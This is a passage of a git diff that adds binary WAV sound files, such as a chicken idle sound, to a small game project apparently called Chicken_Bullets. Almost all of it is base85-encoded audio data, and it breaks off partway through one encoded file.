zw1uql^PD5yZtg^};(acZTMqgw)Z=iHTu}vl4BS+qLNRWT*LVX<(cf z36Be$?G?HK@qS;O>Ff_kzaU=fS?PcIeRbx>LT8ivjkm;oM(YN6+xv-ad~Ui)dROWu ze@o_l=SlUzQGr_nExnuE+nuX3J^XW0eG@O&SHup)zK<8Aru)}8ue)u7--SlyEzawc zH#3-UD>A9{ld^s8O9#Cys+GBCsYQ)`{`{5Mi%;*oqiU7J3} zukoJ|W8hP&?Wuvq-awt8{goRPYv(^@jZMwG;ZO805`rTxefeVMOP#enLwJoBwZe&O zEq1foO@t&1LUHi}F13U{E=O?Rth>pr42!q37! zbQI5NJ8=%)FRS}it$0Q|ZQX>}z^8g23PZhHcKXFy&5g@k><>%-nhK<^OuwabEr#q{pH?uO8xT|PPIJ~f$B2K_b3c>a-&f3!FN)K#udvlK zv{raib^T0!fcCKTY_e>$QSvC8o=f>X{S7 z1lq(~?cEWG1v&@E1%C=$=k3>e^6E@`e^Y8(vSTutn43J98te~J{+Bzax%0fKfp^6& z-7D~;Mq?BAX04d-%EWw6nD$rw>Hbq{gBe2Dz^>3w-ijBsYN;2_W}0vuqqLGeQ!8{L z0}**KSXuriEBHIDwMS%kT8vYh-J%wGUf1PnMOdWH6FO$1RyD)r88}O8=BDEL|3tDd zN$+`4Yt`>mvSwOW-YYpc=+p_#dxUCU?JQSszo2~>UA1~lX$1VNF)&Lj(}`Mlek{LM z19@pq*C-h;jM`4Em==rA_P*?Hg)!>AjanDJBCG0$tdFXVFeKB&d^kr4qmimvTa6VM znnLnjT&z{??P~c6D(86NRBqHPex3fmP3zb3TERC`eUoAzGSq<$PZ&ewa81YHd16Bkw9beUC=_m1@UYd5Px8 zTD@Ow@jrPYdMcM!H8xIiuXlU9EA&KDNyHyEAo*_ zbFf71Qb9(2wT3xTz)3=Ca zvbFS6XXW^iTE132`VS$q?~^S2PpxyiTB)yUlh9iqRUclWbYoTP1?tzR?wqI6Pt^*4 zrrPg*)r4)Ows6^1I5zc{aq+dnxBW@-&>PF?WI_fPE~Tk;)$w3SEVJ2My!^ya%x?PJlr6jYSl*U`r0V}%*XPFEKr_%R1+{4QOV#4 zNgQKykj9&@nBii{{dDcuxK)0pnM(ha%6VAz#@EzR?*p&UTCxv!CWso&X=fkZX61>u zl^sL)W;tyNEl*e|?SG5X2T9$Ky1M zbXM*}6l~Wya>Xe$NP@+}h-ML=APUC3Lrl?=j}Mdr$Rd2`hg1`bhY~-+YfX%c2nGIo zo+n~MY^G4X1D}_jB?vwwuKE(c-lr!?TP)4Z383&bz=;5t5R8RM^$781_7@Tp3F%G` zNiq1jZmLH&^|kG=BBn;%i^w4H*8HrzAT#V=C;rD-OT;qq%CpZ4mP4Iwpi$jRZ-#M* zIF9W?rw+N8BbXzwFSLW5rw%)Vo#1Zh1P}+rR4rCO{vecy?eGNr5nc5c3}7HzXc3Fq zdU_jJ25=7Wh~oPvzCari?WR?Yafb7Vh;tDKw0JGO0gB2#_m!529+5g?_#mJ_YN0Q{ zxq;X+z8>Ok#FZHN@Y5M%LA~x0x3g#1_svsCEN36n_UIpD3bGQKJ|<4fyJ0be)h>q> zU|%XRRq8`K5<`T&fZe8`HmM7JVeL#j4rVTRxnMM9?>c+kiAxbd1YZVD0PGwbdSD>9 z4}O8s333*E0oXobs(7b~+43Y~n*Go0s0SgjQ*|L?V^JLAO$%mq3itt1?^502l-Z{I ziA=G_*kqL1mY6V+Aox|-iw_2alH_)0=i=AwLMCdQ8~GNagIk5&jJ%(IyqvfcdD7<=DI@x7atqRe zncR4qz>^WBV?@A=&B!H^WYUF%7!J=6cNWnl7RXy{KQj@!CfSS6i9#^$zyh(a9fTe@ zHDh})o+gU|f`>Dt8OWl)5NyQg`Hzy3GwE`;BSUkjVN@?_&u(+WT7n}&ni$T(jc@s=oZis=iRB9Gk?$v0;%9!>cl4jbn)%+23z0oTLPS0sbO4mZ*tcw1BmN>5!b%&~D5L^pGLk z?Cf)}dB`iH&2+D|I<02-2wKvl8ngmPRet8MdE{q^A|wTgK?cDZfzv}vFqRojj2M$e z!`C5|>m?BH#b%Su5GV0^fkH7y^? zOZpss&v1o?9|W<(+(~4b8X@JD3wPkSV74T!mEYb={@_IT$>+Jtq@VIzJ@_9?2{{`t znW6h^j8S*$#&7El&@MTwk)gAgx4`PrFO~zdsd264#-OpL+jB??;~fcN%o|pUaZT?d z9rkT#LX#}U5c3XSJjLJ4Rk@L45{ic5Q*dOa^^sy^m(S3G$TXwN^d@)s3q~`Ltj1MX+39PV27!$-A>Gao%dUeDOjU<;+(*u|{DC_gqfHL>#;X#tzd;B~Y59`S!qFu!w;7UMD;I2Ho` zu?{iZy8XpZFci#gtT}QsF#UzTLr49Ezc-Cyn#IlbHM0q}4zgjG9@DC3OPPK)jl!IR zj=?hF31rBm49T&}q{n`ekIhpii8cq?tWN5jCg-lrrj!(oYY zq_A9a_t1OHV(0{PjNxpNe#0aiSD(!`=rl$k^BpMU91fT92x`yt3OWIlFc@AmkBx6e zH9SS87cD2OQ{#d{cNm5czFNv*<>7t&XJ{`gAzH`QDQG;~g=6^``j~vspXg5Vp=@XX z^Z>uNtvxgh8hM9nwt}>cWE!{JO0Pgw4TlND03*|92v^>Nv>^qF87uDjJ_d9 zTHTPiq(IMbF0<{~p~kik1*tI2M)@f_8WBstAYOY z%oboi=Pzo)OpR4*;|4n!EtQ*}(NkE8j3Z0K&%fsVzh-LYaBKpzm>H3z%;EHHHw)vD z^#Jd(v5ECyHbm|d#;aX_q5b*HaGYin7+TjX27FJH8STnX)3TJ=khS(1pW8j2A|-Do zt<}J69s14MgX}SPSr`oVFpi956yfL5jjtj~A{dFA@n>@{m)t1Y%4bux>}W-ZG%r&&zK zxx**?$8Xb1=9jR!&}1rmOHz(E!d8fX&7WvQ#vgM!^E9(G_LE)s3b3z`b0poyEp{_r z05I3KGG%^8m!N5|G0-xm6ZqdW5B3w6p_s8+uwA&Yxv`kgDrRxv_ri8zZJygd!LA6_ z>9FE$)?eJ=X^_tRXBR#N+dq-palxB-Csqw*LhoUDVFU6uv$>3)k23Kz?>5WHa%E2j zdW^iRtY+^~C-TMuqnu`o@fnxx`=CTTOV0K;_2%2GH-7VWEG_fhn5Ag;9_6FV_)O44 z{6r(?(%93sYBAPV(x9#JF)%04L+C1cn9KSNEu8xtEoZtMJ(tsK=ws_wv);I4cD2o< zzJ!Z;(&k{K1dVRq5?hnmUdbFf*z8lYzRgyq^=wX}j?6r?WUj4fPcB*#dE&0g0zGf5 zF{I1pG;*>wMVR%1F^$GrE4O;XW zoLHUgOYZf5)+KowgS#=J!*rWt@5Rc@UF>_zS-bXj-VbAz{kGDP%IxB<|My-v-ARLG zYGvgqp5qP|RxXw+7Bvi+T4kU ziZ!rZtPD6m!qW1bu_iK$@RaRxV|OHPGrnJ26_A$HV2DX)HZdMA?qfsSi5ZlEdprw* zoswJWISB_}7$^7G9d>uxUV7|r)*^Ol&tK9(PI%GqpxIi5cnU24{07bTYK5g9&7+? z5oStwkj=wn`?i=_ZB1a_2=jJf7vQP1IXU-}Srdzh97t`eJN{zc&CQcGXYyuNedZ@) z44QRe_QK!idPb<-V^+r|BPScV%&t6Z_CA&*{tI8jwF+ zH)K8dwvWX23&Ah@tD>Ory2ABpzt<@pjIE|=nVWeU-#6!Ukqi4t*weu?zbg901^+w$ zugd;hslQh0Z;<-zYJtVp7z6Bo*lpR9!W%6g&K+B=&;HOmh;i7g&5Uh&o;iRy+)A@H z8wnw50N%l7Yf{*JOggLzYzTJJ5UH~B&tSP_$IS-4=g({{jdeH2ylcBLnVXpT$e9m4E=APVIirJmkH{Vgt`;zm!5QAY)oO#ueA(JB{C?`K=BeGI3 zTNt}AHzG_jkt{eD7#oZw#vc5#JcF0s#-GhPjC5m_MeCrM&?aUt8^gQpfj3Rc$YzA2 zNl9tChjDM;M8(iG%wELi&;`5??P}wcbpSqbTjP)y`WkIuT9}mPxwO*SIHrDoAAz|M KlpA$e!~YLrBw&32 literal 0 HcmV?d00001 diff --git a/Repos/Chicken_Bullets-master/sound/chicken/idle3.wav b/Repos/Chicken_Bullets-master/sound/chicken/idle3.wav new file mode 100644 index 0000000000000000000000000000000000000000..d9bc29cb24d9099fd808e7861b6d80d5c225e86d GIT binary patch literal 58330 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 